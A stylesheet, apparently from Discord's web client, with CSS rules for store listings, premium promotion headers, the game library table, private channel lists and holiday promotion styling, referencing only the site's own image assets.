.theme-dark .headerFancy-1AcCLF, .theme-light .headerFancy-1AcCLF { background-image: url(\/assets\/0dcf63b01d328ecb33a6426f0aa0b167\.svg),linear-gradient(270deg,hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%),hsl(228,calc(var(--saturation-factor, 1)*86.7%),70.6%)); color: rgb(255, 255, 255); }

.theme-dark .premiumHeaderPrice-1F1CMD, .theme-light .premiumHeaderPrice-1F1CMD { color: var(--brand-experiment); background-color: rgb(255, 255, 255); }

.theme-dark .bodySection-jqkkIP, .theme-light .bodySection-jqkkIP { background-color: rgb(32, 34, 37); border-top-color: rgba(47, 49, 54, 0.6); }

.theme-dark .countdownSection-8BWHXa, .theme-light .countdownSection-8BWHXa { border-bottom-color: rgb(54, 57, 63); }

.theme-dark .actionText-3EKWER, .theme-light .actionText-3EKWER { color: rgb(220, 221, 222); }

.theme-dark .price-4PDWNj, .theme-light .price-4PDWNj { color: rgb(246, 246, 247); }

.theme-dark .releaseDate-28xyN1, .theme-light .releaseDate-28xyN1 { color: rgb(185, 187, 190); }

.recommendationReason-21q3aC { display: flex; -webkit-box-align: center; align-items: center; font-size: 15px; }

.circle-1nK_79 { border-radius: 50%; box-sizing: border-box; flex-shrink: 0; margin-right: 12px; padding: 8px; width: 32px; height: 32px; }

.icon-2qcd9w { width: 100%; height: 100%; }

.iconCircle-1dlYo0 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.earlyAccess-HnHc6a { padding: 11px; }

.premiumCircle-3jgziV { background-image: linear-gradient(270deg, rgb(213, 137, 192), rgb(191, 123, 227)); }

.smallHeader-2h-9-U { font-size: 12px; font-weight: 500; margin-bottom: 2px; }

.text-1Z3P6i { font-size: 14px; font-weight: 500; line-height: 1.3; }

.description-2jnn3p { -webkit-box-flex: 1; flex: 1 1 0%; }

.theme-dark .circle-1nK_79 { color: rgb(246, 246, 247); }

.theme-dark .iconCircle-1dlYo0 { background-color: rgb(79, 84, 92); }

.theme-dark .smallHeader-2h-9-U { color: rgb(185, 187, 190); }

.theme-dark .text-1Z3P6i { color: rgb(255, 255, 255); }

.theme-dark .staffIcon-2MB1se { background-color: var(--brand-experiment); }

.theme-dark .nitroIcon-2uS3VJ { background: linear-gradient(270deg,hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%),var(--brand-experiment-500)); }

.theme-light .circle-1nK_79 { color: rgb(246, 246, 247); }

.theme-light .iconCircle-1dlYo0 { background-color: rgb(79, 84, 92); }

.theme-light .smallHeader-2h-9-U { color: rgb(185, 187, 190); }

.theme-light .text-1Z3P6i { color: rgb(54, 57, 63); }

.theme-light .staffIcon-2MB1se { background-color: var(--brand-experiment); }

.theme-light .nitroIcon-2uS3VJ { background: linear-gradient(270deg,hsl(244,calc(var(--saturation-factor, 1)*100%),84.1%),var(--brand-experiment-500)); }

.recommendationActivity-EJN6Ps { display: flex; }

.players-2Tcfos { margin-right: 8px; margin-bottom: 12px; }

.playerAvatar-3EAx5P { margin-right: 4px; cursor: pointer; }

.avatarMasked-1s1eiJ { -webkit-mask-image: url("https://discord.com/assets/71e404e665541ef97f99fe9af6593aca.svg"); -webkit-mask-position: 0px 0px; -webkit-mask-size: 100% 100%; -webkit-mask-repeat: no-repeat; margin-right: -16px; }

.playerOverflow-2Hf77M { position: relative; box-sizing: border-box; font-size: 12px; font-weight: 700; height: 32px; min-width: 32px; line-height: 32px; border-radius: 50%; padding: 0px 8px; }

.description-2Ifi6N { font-size: 14px; font-weight: 500; line-height: 20px; }

.username-2gp_Xw:hover { text-decoration: underline; cursor: pointer; }

.tooltip-18WADv { text-align: center; }

.tooltipTimestamp-3tv3H9 { opacity: 0.6; }

.theme-light .description-2Ifi6N { color: rgb(114, 118, 125); }

.theme-light .playerOverflow-2Hf77M { background-color: rgb(246, 246, 247); color: rgb(114, 118, 125); }

.theme-light .description-2Ifi6N strong, .theme-light .discriminator-2q6SFg strong, .theme-light .username-2gp_Xw { color: rgb(54, 57, 63); }

.theme-dark .description-2Ifi6N { color: rgb(185, 187, 190); }

.theme-dark .playerOverflow-2Hf77M { background-color: rgb(79, 84, 92); color: rgb(185, 187, 190); }

.theme-dark .description-2Ifi6N strong, .theme-dark .username-2gp_Xw { color: rgb(255, 255, 255); }

.header-3BlBga { margin-bottom: 12px; }

.staffReviewHeader-r0iDCy { -webkit-box-align: center; align-items: center; display: flex; }

.headerText-34JZSx { margin-left: 12px; }

.label-2zCFFs { font-size: 12px; font-weight: 500; margin-bottom: 4px; }

.username-Ga9-tM { font-size: 14px; font-weight: 600; }

.notes-3hkVr0 { font-size: 14px; font-style: italic; font-weight: 500; line-height: 1.33; }

.notes-3hkVr0::before { content: "“"; }

.notes-3hkVr0::after { content: "”"; }

.theme-dark .label-2zCFFs { color: rgb(114, 118, 125); }

.theme-dark .username-Ga9-tM { color: rgb(246, 246, 247); }

.theme-dark .notes-3hkVr0, .theme-light .label-2zCFFs { color: rgb(185, 187, 190); }

.theme-light .username-Ga9-tM { color: rgb(54, 57, 63); }

.theme-light .notes-3hkVr0 { color: rgb(114, 118, 125); }

.root-1bFE0x { border-radius: 3px; overflow: hidden; padding: 20px 20px 0px; user-select: text; }

.header-3HFF3R { font-size: 20px; font-weight: 500; margin-bottom: 20px; }

.section-7tu4tu:not(:last-child) { border-bottom: 1px solid transparent; margin-bottom: 20px; }

.sectionContent-1_X7BG { display: flex; flex-wrap: wrap; margin-right: -20px; }

.unit-2r571b { box-sizing: border-box; -webkit-box-flex: 1; flex: 1 1 50%; min-width: 240px; margin-bottom: 20px; padding-right: 20px; }

.review-1hG2hB { padding-bottom: 20px; }

.theme-dark .root-1bFE0x { background-color: rgb(47, 49, 54); }

.theme-dark .header-3HFF3R { color: rgb(255, 255, 255); }

.theme-dark .section-7tu4tu { border-bottom-color: rgb(54, 57, 63); }

.theme-light .root-1bFE0x { background-color: rgb(255, 255, 255); }

.theme-light .header-3HFF3R { color: rgb(54, 57, 63); }

.theme-light .section-7tu4tu { border-bottom-color: rgba(220, 221, 222, 0.6); }

.breadcrumb-22XhB5 { cursor: pointer; }

.breadcrumb-22XhB5:hover { text-decoration: underline; }

.theme-dark .breadcrumb-22XhB5:hover { color: rgb(255, 255, 255); }

.theme-light .breadcrumb-22XhB5:hover { color: rgb(116, 127, 141); }

.tabs-cN0XDH { position: relative; }

.separator-1tvx79 { height: 1px; position: absolute; bottom: 0px; left: 0px; right: 0px; }

.tab-3lcWsW { margin-left: 8px; padding-bottom: 4px; border-bottom: 2px solid transparent; border-radius: 0px; }

.tab-3lcWsW:first-child { margin-left: 0px; }

.tabPageLarge-1iyX69 { padding-left: 8px; padding-right: 8px; }

.tabPageSmall-2uu0KD { }

.tabNotSelected-1l9_nl { transition: color 0.17s ease 0s; }

.sectionTitle-Zi_w7u { font-size: 12px; font-weight: 600; margin-bottom: 8px; text-transform: uppercase; }

.requirementsContainer-3N-apS { display: flex; user-select: text; -webkit-box-pack: justify; justify-content: space-between; flex-wrap: wrap; margin-top: 10px; }

.requirements-dEriwm { box-sizing: border-box; -webkit-box-flex: 1; flex: 1 0 50%; margin-bottom: 16px; padding-right: 20px; min-width: 260px; }

.requirement-2guSgu { margin: 6px 0px; font-size: 15px; line-height: 18px; }

.requirementKey-14DT2D { margin-right: 4px; white-space: nowrap; }

.theme-dark .separator-1tvx79 { background-color: rgba(47, 49, 54, 0.6); }

.theme-dark .tabNotSelectedColor-3P16F- { color: rgb(185, 187, 190); }

.theme-dark .tabNotSelectedColor-3P16F-:hover, .theme-dark .tabSelectedColor-2b3xO9 { color: rgb(255, 255, 255); }

.theme-dark .tabSelected-3IK-Xf { border-bottom-color: rgb(255, 255, 255); }

.theme-dark .sectionTitle-Zi_w7u { color: rgb(185, 187, 190); }

.theme-dark .requirementKey-14DT2D { color: rgb(114, 118, 125); }

.theme-dark .requirements-dEriwm { color: rgb(220, 221, 222); }

.theme-light .separator-1tvx79 { background-color: rgba(220, 221, 222, 0.6); }

.theme-light .tabNotSelectedColor-3P16F- { color: rgb(114, 118, 125); }

.theme-light .tabNotSelectedColor-3P16F-:hover, .theme-light .tabSelectedColor-2b3xO9 { color: rgb(54, 57, 63); }

.theme-light .tabSelected-3IK-Xf { border-bottom-color: rgb(54, 57, 63); }

.theme-light .sectionTitle-Zi_w7u { color: rgb(114, 118, 125); }

.theme-light .requirementKey-14DT2D { color: rgb(185, 187, 190); }

.theme-light .requirements-dEriwm { color: rgb(114, 118, 125); }

.dropdownArrowHitbox-1-jUwM { display: flex; -webkit-box-align: center; align-items: center; }

.dropdownArrowHitbox-1-jUwM:hover .dropdownArrow-3hUdu6 { opacity: 1; }

.dropdownArrow-3hUdu6 { -webkit-box-flex: 1; flex: 1 1 0%; opacity: 0.2; transition: opacity 0.2s ease 0s; }

.arrowSeparator-ZLk2V2 { width: 1px; opacity: 0.2; background-color: currentcolor; }

.dropdownSmall-2nM_vD { }

.dropdownSmall-2nM_vD .arrowSeparator-ZLk2V2 { }

.dropdownSmall-2nM_vD .dropdownArrow-3hUdu6 { width: 16px; height: 16px; }

.dropdownMedium-32DQxh { }

.dropdownMedium-32DQxh .arrowSeparator-ZLk2V2 { }

.dropdownMedium-32DQxh .dropdownArrow-3hUdu6 { width: 24px; height: 24px; }

.dropdownLarge-3n2kcQ { }

.dropdownLarge-3n2kcQ .arrowSeparator-ZLk2V2 { }

.dropdownLarge-3n2kcQ .dropdownArrow-3hUdu6 { width: 32px; height: 32px; }

.inviteSmall-1mi1Fc .content-35aVm0 { -webkit-box-align: start; align-items: flex-start; }

.inviteSmall-1mi1Fc .info-3hEr5J { margin-bottom: 12px; }

.inviteLarge-37aL4C .content-35aVm0 { -webkit-box-align: center; align-items: center; }

.content-35aVm0 { border-radius: 5px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; padding: 16px; }

.guildIcon-3du51s { flex-shrink: 0; }

.info-3hEr5J { max-width: 100%; display: flex; }

.infoText-2DvX0j { min-width: 0px; margin-left: 20px; }

.name-3TBxUq { font-size: 16px; line-height: 1.25; }

.memberInfo-1TAaKC { margin-top: 4px; font-size: 14px; }

.dot-33s_8n { border-radius: 50%; width: 8px; height: 8px; margin-right: 4px; margin-left: 8px; flex-shrink: 0; }

.dot-33s_8n:first-child { margin-left: 0px; }

.dotOnline-3qrf96 { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.dotOffline-1PVTuj, .dotOnline-3qrf96 { }

.memberText-14Qowr { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.actionButton-2Pkgbp { margin-top: 16px; }

.joinedCheckmark-1cdXz7 { width: 18px; height: 18px; margin-left: 8px; }

.theme-dark .content-35aVm0 { background-color: rgb(47, 49, 54); }

.theme-dark .buttonColorInGuild-2hfayS { color: rgb(255, 255, 255); }

.theme-dark .name-3TBxUq { color: rgb(185, 187, 190); }

.theme-dark .memberInfo-1TAaKC { color: rgb(114, 118, 125); }

.theme-dark .dotOffline-1PVTuj { background-color: rgb(114, 118, 125); }

.theme-light .content-35aVm0 { background-color: rgb(255, 255, 255); }

.theme-light .buttonColorInGuild-2hfayS, .theme-light .name-3TBxUq { color: rgb(114, 118, 125); }

.theme-light .memberInfo-1TAaKC { color: rgb(185, 187, 190); }

.theme-light .dotOffline-1PVTuj { background-color: rgb(114, 118, 125); }

.listingWrapper-329f74 { height: 100%; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.outerScroller-1W6jP0::before { content: ""; position: absolute; display: block; top: -1px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; }

.scroller-1JpcIc { background-color: var(--deprecated-store-bg); contain: size layout; }

.noHeaderSpacer-321X3p { padding-top: 20px; }

.headerAssets-2CL92w { -webkit-box-align: center; align-items: center; display: flex; height: 100px; -webkit-box-pack: center; justify-content: center; margin: 0px auto; max-width: 880px; position: relative; }

.headerBackground-3Sjqjz { position: absolute; inset: 0px; background-position: 50% center; background-size: cover; -webkit-mask: radial-gradient(50% 100% at 50% 0px, rgb(0, 0, 0), transparent); opacity: 0.3; }

.headerLogo-2O9XZd { background-size: contain; height: 60px; object-fit: contain; position: relative; }

.link-2T7oYD { margin-left: 6px; margin-right: 6px; cursor: pointer; opacity: 0.6; }

.link-2T7oYD:hover { opacity: 0.8; }

.link-2T7oYD:disabled { opacity: 0.2; }

.linkIcon-PzfbqY { width: 24px; height: 24px; display: block; }

.spinner-3N25TF { margin-top: 40px; margin-bottom: 40px; }

.listing-2nUQ4d { margin: 0px auto; }

.gatedListing-3Ry5Oi { visibility: hidden; position: absolute; z-index: -2; }

.contentRating-W0e7H-, .description-3z5Lb3, .guildInvite-3fvAbr, .legalInfo-lVTrbD, .news-27xNIP, .premiumPerks-zFst3i, .purchaseUnit-2lxci3, .whyYouMightLikeIt-2zZIIj { margin-bottom: 40px; }

.systemRequirements-1L5nPd { margin-bottom: 20px; }

.marketingHeader-3in4BD { background-color: rgb(32, 34, 37); }

.headerBarListing-3DL3sL { -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-pack: justify; justify-content: space-between; }

.headerBarListing-3DL3sL, .headerPurchase-2z_nch, .headerSection-VnaiAo { display: flex; -webkit-box-align: center; align-items: center; }

.headerPurchase-2z_nch { font-size: 14px; opacity: 0; transform: translateY(45px); transition-duration: 0.4s; transition-property: transform, opacity, -webkit-transform; transition-timing-function: ease; }

.headerPurchase-2z_nch.active-MpmWDn { opacity: 1; transform: translateY(0px); }

.testModeSelectButton-3Tz96u { margin-left: 16px; padding: 4px 4px 4px 8px; }

@media (max-width: 900px) {
  .headerPurchase-2z_nch { display: none; }
}

.headerActionButton-24JFAX { margin-left: 12px; margin-right: 6px; }

.listingLarge-3Rix7u { max-width: 880px; margin: 0px auto; padding: 0px 20px; }

.listingLarge-3Rix7u .body-1HEBKj { display: flex; }

.listingLarge-3Rix7u .leftColumn-1scUu2 { width: 66.67%; }

.listingLarge-3Rix7u .rightColumn-2YXQ85 { margin-left: 40px; width: 33.33%; }

.listingSmall-d9e5gC { padding-left: 20px; padding-right: 20px; }

.listingSmall-d9e5gC .headerAssets-2CL92w { height: 80px; }

.listingSmall-d9e5gC .headerLogo-2O9XZd { height: 40px; }

.listingSmall-d9e5gC .purchaseUnit-2lxci3 { margin-top: 20px; margin-bottom: 20px; }

.purchaseError-1fA5nO { font-size: 14px; margin-left: 8px; }

.theme-light .listing-2nUQ4d { color: rgb(54, 57, 63); }

.theme-light .purchaseError-1fA5nO { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-light .link-2T7oYD { color: rgb(54, 57, 63); }

.theme-dark .listing-2nUQ4d { color: rgb(246, 246, 247); }

.theme-dark .purchaseError-1fA5nO { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.theme-dark .link-2T7oYD { color: rgb(246, 246, 247); }

.applicationStore-1pNvnv { overflow: hidden auto; -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background-color: var(--deprecated-store-bg); }

.navigation-1d6CXm { margin: 40px 35px; }

.marketingHeader-2Iq7qk { background-color: rgb(32, 34, 37); }

.marketingFooter-1ZdZyI { overflow: visible !important; }

.notice-3uyY6c { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; height: 40px; padding: 0px 8px; box-shadow: none; background-color: var(--brand-experiment-600); color: rgb(255, 255, 255); }

.notice-3uyY6c.error-10-hkY { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.button-gP4R86 { font-weight: 600; padding: 4px 8px; height: fit-content; -webkit-box-align: center; align-items: center; }

.button-gP4R86:hover { background-color: var(--brand-experiment-530); }

.error-10-hkY > .button-gP4R86:hover { background-color: hsl(359,calc(var(--saturation-factor, 1)*66.7%),54.1%); }

.header-2QVqxD { color: rgb(255, 255, 255); display: inline; margin-right: 16px; }

.notice-2X5hT5 { background-color: var(--brand-experiment-600); color: rgb(255, 255, 255); display: flex; -webkit-box-pack: center; justify-content: center; height: 40px; padding: 0px 8px; }

.button-2PWmas, .notice-2X5hT5 { -webkit-box-align: center; align-items: center; }

.button-2PWmas { font-weight: 600; padding: 4px 8px; height: fit-content; }

.button-2PWmas:hover { background-color: var(--brand-experiment-530); }

.back-1Ess-_ { position: absolute; left: 8px; margin: auto; top: 0px; bottom: 0px; height: 24px; }

.iconButton-2_z05_ { display: flex; -webkit-box-align: center; align-items: center; }

.arrow-18Rpsc { margin-right: 8px; }

.header-1g25vm { display: inline; margin-right: 16px; color: rgb(255, 255, 255); }

.premiumIcon-2lve6h { position: relative; top: 6px; margin-right: 8px; width: 24px; height: 24px; }

.platformIcon-2NdO9F { display: inline-block; width: 28px; height: 28px; margin-top: -4px; margin-right: 10px; vertical-align: middle; position: relative; }

.platformIcon-2NdO9F + .platformIcon-2NdO9F { margin-left: -10px; }

.icon-KgjVwm { display: inline-block; width: 20px; height: 20px; vertical-align: middle; margin-left: 10px; margin-top: -3px; position: relative; }

.icon-KgjVwm + .icon-KgjVwm { margin-left: 6px; }

.iconWindows-1KG_XN { background-image: url("https://discord.com/assets/dd4b5d1ce6a5b8725648791248bf83a5.svg"); }

.iconApple-1hp9Sq { background-image: url("https://discord.com/assets/0620b6b2ad737c95308e3224ee02ffcc.svg"); }

.iconAndroid-3HTSwF { background-image: url("https://discord.com/assets/21cde355fe6332a12322e26cb18168bd.svg"); }

.iconUSFlag-2aEzZR { background-image: url("https://discord.com/assets/9b0fcc83614361996da180dfe508dec0.png"); background-size: 85%; background-position: center top; background-repeat: no-repeat; margin-right: 7px; margin-top: 0px; }

.icon-KgjVwm + .btn-2o56RF { margin-left: 20px; }

.textLink-27KAGV { color: rgb(255, 255, 255); text-decoration: underline; padding-left: 10px; -webkit-app-region: no-drag; }

.textLinkSmall-1iFB8H { font-size: 12px; }

.testModeSKUSelector-1z7rGh { margin-left: 16px; height: 24px; }

.premiumLogo-30dge3 { display: inline-block; position: relative; top: 2px; width: 51px; height: 13px; margin-right: 20px; background-image: url("https://discord.com/assets/9328a2df4b542ac8725b57010a52f73b.svg"); background-size: 100%; background-repeat: no-repeat; }

.premiumText-C5NcRe { font-weight: 500; }

.premiumAction-3Tcani { margin-left: 20px; }

.ellipsis-AB-iKn { margin-left: 7px; }

.modal-3XG3Lw { max-height: 750px; }

.footer-3XMHB3 { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; margin-top: 18px; }

.container-_xSQEe { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.acceptButton-1w0WVo { margin-left: 16px; padding: 4px 8px; }

.acceptText-j9fxRL { color: hsl(138,calc(var(--saturation-factor, 1)*47%),25.9%); }

.declineButton-3AjV5l { margin-left: 8px; padding: 3px 7px; }

.declineText-awkkNG { color: rgb(255, 255, 255); }

.blocked-v_WYd3 { display: flex; -webkit-box-align: center; align-items: center; }

.blockedIcon-1j8HfR { margin-right: 4px; margin-left: 12px; }

.blockedText-18I_XK { font-size: 12px; font-weight: 400; }

.errorLabel-7OAe-A, .supportCallToAction-7lpXkq { margin-top: 20px; }

.errorLabel-7OAe-A { font-size: 12px; font-weight: 700; letter-spacing: 0.5px; text-transform: uppercase; }

.errorDetails-qKU8eS { box-sizing: border-box; border-width: 2px; border-style: solid; border-radius: 5px; font-size: 14px; line-height: 16px; margin-top: 10px; margin-bottom: 20px; padding: 12px; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; user-select: text; white-space: pre; }

.theme-dark .body-3AvtFJ { color: rgb(220, 221, 222); }

.theme-dark .errorLabel-7OAe-A { color: rgb(185, 187, 190); }

.theme-dark .errorDetails-qKU8eS { background: rgb(47, 49, 54); border-color: rgba(32, 34, 37, 0.3); color: rgb(255, 255, 255); }

.theme-dark .closeLink-2MRAUp { color: rgb(255, 255, 255); }

.theme-light .body-3AvtFJ { color: rgb(79, 84, 92); }

.theme-light .errorLabel-7OAe-A { color: rgb(114, 118, 125); }

.theme-light .errorDetails-qKU8eS { background: hsl(180,calc(var(--saturation-factor, 1)*7.7%),97.5%); border-color: hsla(216,calc(var(--saturation-factor, 1)*9.8%),90%,0.6); color: hsl(214,calc(var(--saturation-factor, 1)*9.9%),50.4%); }

.theme-light .closeLink-2MRAUp { color: var(--brand-experiment); }

.container-1uVetH { position: relative; display: inline-block; text-transform: uppercase; }

.tag-PX6CDi { background: linear-gradient(90deg, rgb(50, 70, 178), rgb(72, 162, 222)); font-size: 12px; line-height: 16px; padding: 0px 4px; }

.sparkle-10ojb8 { position: absolute; }

.sparkleStarTopRight-1u9YgZ { bottom: calc(100% - 4px); left: calc(100% - 5px); width: 12.75px; height: 12.75px; }

.sparkleStarBottomLeft-5iO9rv { top: calc(100% + 0.56px); left: -1px; height: 7.44px; width: 7.44px; }

.theme-dark .sparkle-10ojb8 { color: rgb(255, 255, 255); }

.theme-light .sparkle-10ojb8 { color: rgb(118, 206, 255); }

.channel-2QD9_O { position: relative; max-width: 224px; margin-left: 8px; }

.channel-2QD9_O:focus-within .closeButton-2GCmT5, .channel-2QD9_O:hover .closeButton-2GCmT5 { display: block; }

.linkButtonIcon-Mlm5d6 { width: 24px; height: 24px; }

.closeButton-2GCmT5 { display: none; width: 16px; height: 16px; opacity: 0.7; margin: 2px; }

.closeButton-2GCmT5:focus, .closeButton-2GCmT5:hover { opacity: 1; }

.closeIcon-rycxaQ { display: block; width: 16px; height: 16px; }

.subtext-1RtU34 { font-size: 12px; line-height: 16px; font-weight: 500; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.activity-525YDR { display: flex; -webkit-box-align: center; align-items: center; }

.activityText-OW8WYb { -webkit-box-flex: 0; flex: 0 1 auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.activityEmoji-1AR8K6 { margin-right: 4px; width: 14px; height: 14px; }

.decorator-3MaMCZ { margin-left: 4px; }

.empty-388osJ { fill: var(--background-primary); padding: 16px; }

.scroller-1JbKMe { background-color: var(--background-secondary); }

.headerText-2F0828 { -webkit-box-flex: 1; flex: 1 1 0%; overflow: hidden; text-overflow: ellipsis; }

.privateChannelsHeaderContainer-3NB1K1 { display: flex; padding: 18px 8px 4px 18px; height: 40px; }

.privateChannelsHeaderContainer-3NB1K1:hover { color: var(--interactive-hover); }

.privateChannelRecipientsInviteButtonIcon-3A3uTc { -webkit-box-flex: 0; flex: 0 1 0%; width: 16px; height: 16px; margin-left: 0px; margin-right: 2px; }

html .tabBadge-3smxHS { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.downloadProgressCircle-3_wgim { width: 24px; height: 24px; margin-left: 8px; opacity: 1; transition: opacity 0.2s ease 0s; }

.hideGameUpdateProgressIndicator-YAQq-w { opacity: 0; pointer-events: none; }

.privateChannels-1nO12o { box-sizing: border-box; overflow: hidden; user-select: none; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background-color: var(--background-secondary); }

.privateChannels-1nO12o, .searchBar-6Kv8R2 { position: relative; display: flex; }

.searchBar-6Kv8R2 { z-index: 2; -webkit-box-flex: 0; flex: 0 0 auto; padding: 0px 10px; height: 48px; -webkit-box-align: center; align-items: center; box-shadow: var(--elevation-low); }

.searchBar-6Kv8R2 .searchBarComponent-32dTOx { width: 100%; height: 28px; overflow: hidden; border-radius: 4px; background-color: var(--background-tertiary); box-shadow: none; color: var(--text-muted); text-align: left; text-overflow: ellipsis; font-size: 14px; font-weight: 500; line-height: 24px; white-space: nowrap; }

.holidayPromotionSelectedBackground-181xIv { }

.theme-dark .holidayPromotionSelectedBackground-181xIv, .theme-light .holidayPromotionSelectedBackground-181xIv { background: linear-gradient(90deg, rgb(50, 70, 178), rgb(72, 162, 222)); color: rgb(255, 255, 255); }

.snow-2sfNoK { position: absolute; height: 100%; width: 100%; top: 0px; left: 0px; pointer-events: none; }

.holidayPromotionNewTag-1A4eEv { margin-right: 8px; }

.snowsgivingIcon-3r5wQd { color: rgb(140, 217, 255); height: 24px; width: 24px; }

.snowsgivingCopy-1Y80ar { -webkit-box-flex: 1; flex: 1 1 auto; max-width: 100%; overflow: hidden; text-overflow: ellipsis; }

.snowsgivingLinkIcon-1avyFE { color: var(--text-muted); height: 12px; width: 12px; }

.libraryFilter-31ZUa2 { margin-right: 8px; position: relative; overflow: hidden; display: flex; -webkit-box-align: center; align-items: center; width: 144px; }

.libraryFilter-31ZUa2.focused-2eiV0o { width: 240px; }

.searchBar-TUoVPN { width: 100%; -webkit-box-flex: 1; flex: 1 1 auto; }

.libraryHeader-3g95kE { z-index: 3; }

.libraryHeader-3g95kE::before { content: ""; position: absolute; display: block; top: 47px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; contain: paint; }

.table-1tDS6w { width: 100%; }

.table-1tDS6w:only-child { margin-bottom: 20px; }

.header-39GIC8 { padding: 20px 34px 8px; font-size: 12px; font-weight: 600; box-sizing: border-box; background-color: var(--background-primary); border-bottom: 1px solid var(--background-modifier-accent); }

.nameCell-3_ThYZ { width: 30%; }

.nameCellText-1mpqtF { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; color: var(--header-primary); font-weight: 600; }

.icon-1IKq3C { width: 20px; height: 20px; color: var(--interactive-muted); }

.nitroIcon-2_2ZKS { margin-left: 8px; flex-shrink: 0; }

.lastPlayedCell-2arbtc, .platformCell-XyBBs6 { width: 20%; color: var(--text-muted); }

.actionsCell-1awtNi { width: 30%; display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; -webkit-box-pack: end; justify-content: flex-end; }

.stickyHeader-1pqx0j { width: calc(100% - 16px); }

.headerCell-3L6rFG { text-transform: uppercase; border-left: 1px solid var(--background-modifier-accent); box-sizing: border-box; padding: 0px 12px; -webkit-box-flex: 1; flex: 1 1 auto; }

.headerCell-3L6rFG:first-child { border-left: none; padding-left: 0px; }

.headerCellSorted-3a5AzJ, .headerCellSorted-3a5AzJ:hover { color: var(--interactive-active); }

.rowWrapper-2fB6P0 { border-radius: 8px; margin: 0px 18px; cursor: pointer; position: relative; }

.rowWrapper-2fB6P0 + .rowWrapper-2fB6P0 .row-ZLfFhY { border-top: 1px solid var(--background-modifier-accent); }

.rowWrapperActive-2L7i9f { padding-bottom: 1px; margin-bottom: -1px; z-index: 1; background-color: var(--background-modifier-hover); }

.rowWrapperActive-2L7i9f, .rowWrapperGlow-w1rbPJ { }

@-webkit-keyframes glow-3kkOpg { 
  0% { opacity: 1; }
  20% { opacity: 1; }
  100% { opacity: 0; }
}

@keyframes glow-3kkOpg { 
  0% { opacity: 1; }
  20% { opacity: 1; }
  100% { opacity: 0; }
}

.row-ZLfFhY { position: relative; display: flex; -webkit-box-align: center; align-items: center; margin: 0px 8px; min-height: 62px; color: var(--header-secondary); }

.rowBackground-3MeNoN { position: absolute; top: 0px; left: 0px; bottom: 0px; width: 272px; background-repeat: no-repeat; filter: grayscale(100%); background-size: cover; -webkit-mask: radial-gradient(100% 100% at left top, rgba(255, 255, 255, 0.3) 0px, rgba(255, 255, 255, 0) 100%); border-radius: 8px; }

.bodyCell-9xKjWE { box-sizing: border-box; padding: 8px 8px 8px 15px; line-height: 1.25; -webkit-box-flex: 1; flex: 1 1 auto; }

.textCell-1aBIUP { align-self: stretch; display: flex; color: var(--text-muted); }

.nameBodyCell-3JOlnK { font-weight: 500; padding-left: 8px; }

.nameCellInfo-11WjkQ { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; display: flex; -webkit-box-align: center; align-items: center; }

.lastPlayedCellNew-3twqHQ { font-weight: 600; color: var(--text-warning); text-transform: uppercase; }

.gameIcon-3XJ9fu { margin-right: 20px; }

.actionButtonSize-1Znp1q { height: 32px; min-width: 120px; }

.hidden-QHDCKo { visibility: hidden; }

.settingIcons-3QYa5E { display: flex; margin-right: 26px; min-width: 56px; }

.settingIcon-1nXguX { min-width: 20px; margin-right: 20px; }

.settingIcon-1nXguX:last-child { margin-right: 0px; }

.emptyState-1pmlaK { padding-bottom: 20px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.emptyStateText-1CEHF_ { margin: 20px 20px 0px; text-align: center; }

.emptyStateHeader-3CJtAy { margin-bottom: 8px; font-size: 24px; color: var(--header-primary); }

.emptyStateDescription-2IePen { line-height: 1.25; font-size: 16px; color: var(--header-secondary); }

.emptyStateButtons-2u6vlI { width: 100%; display: flex; -webkit-box-flex: 0; flex: 0 0 auto; -webkit-box-pack: center; justify-content: center; }

.emptyStateButton-ab82qi { min-width: 125px; margin-top: 20px; margin-right: 20px; }

.emptyStateButton-ab82qi:last-child { margin-right: 0px; }

.emptyWumpus-12J3jI { width: 404px; height: 202px; flex-shrink: 0; }

.emptyStateLarge-1nQX5A { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; box-sizing: border-box; }

.emptyStateSmall-2Ttdgm { padding-top: 39px; border-top: 1px solid var(--background-modifier-accent); }

.emptyStateSmall-2Ttdgm .emptyStateText-1CEHF_ { text-align: left; margin-left: 0px; }

.emptyStateSmall-2Ttdgm .emptyWumpus-12J3jI { margin-left: 50px; margin-right: 40px; }

.emptyStateSmall-2Ttdgm .emptyStateButtons-2u6vlI { -webkit-box-pack: start; justify-content: flex-start; }

